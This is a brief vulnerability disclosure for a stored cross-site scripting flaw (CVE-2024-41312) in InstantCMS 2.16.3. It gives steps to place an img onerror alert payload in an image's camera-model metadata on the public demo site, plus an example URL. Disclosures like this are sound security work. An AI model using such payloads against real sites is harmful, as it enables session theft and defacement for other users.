CVE-2024-41312.
InstantCMS - Stored Cross Site Scripting (XSS)
Affected Version: InstantCMS 2.16.3
Steps to Reproduce:
- Log in to https://demo.instantcms.io as an demo user.
- Visit https://demo.instantcms.io/photos/upload.
- Upload the image with the embedded payload test
<img src="https://raw.githubusercontent.com/amal264882/cve-2024-41312./HEAD/asd" onerror="alert(1)"> in the Camera Model Name meta data filed.
- Visit the https://demo.instantcms.io/photos/camera-{payload}
- Example: https://demo.instantcms.io/photos/camera-Amal_Test%3Cimg+src=%22asd%22+onerror=%22alert(1)%22%3E
- you will observe the immediate execution of the XSS payload.
POC:
<a href=https://d.pr/v/DT8Gve> Video POV